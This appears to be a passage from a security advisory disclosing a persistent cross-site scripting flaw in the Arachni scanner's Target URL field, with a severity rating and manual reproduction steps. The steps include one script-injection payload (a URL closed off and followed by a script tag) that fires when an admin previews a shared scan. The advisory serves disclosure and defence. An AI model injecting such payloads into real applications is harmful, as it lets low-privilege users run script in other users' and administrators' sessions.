Low

Technical Details & Description:

================================

A persistent cross site scripting vulnerability has been discovered in the official Arachni v1.5-0.5.11 security scanner framework.

The vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable service.

The Target URL field which is available when configuring a scan is vulnerable to cross site scripting. As scans can be shared and

viewed by other users including the admin account, it is possible to execute the cross site scripting under another users context.

The request method to inject is POST and the attack vector is located on the application-side of the service application. The remote

attacker requires a low privilege user account to inject the malicious code that executes finally in the scan on admin preview.

The security risk of the cross site web vulnerability is estimated as low with a common vulnerability scoring system count of 2.2.

Exploitation of the persistent cross site web vulnerability requires a low privilege user account and only low user interaction.

Successful exploitation of the vulnerability results in persistent phishing attacks, persistent external redirect

to malicious sources and persistent manipulation of affected or connected web module context.

Request Method(s):

[+] POST

Vulnerable Module(s):

[+] Scans

Proof of Concept (PoC):

=======================

The cross site scripting vulnerability can be exploited by remote attackers with low privilege web-application user account with low user interaction.

For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability …

1. Click to Scans

2. Click to New

3. Add the target url field type like …

Note: http://192.168.184.133/"><script>alert(‘XSS’)</script>

4. Start the scan and a popup appears after a few seconds

5. Now login as admin and preview the already resolved scans

6. Successful reproduce of the cross site scripting vulnerability!
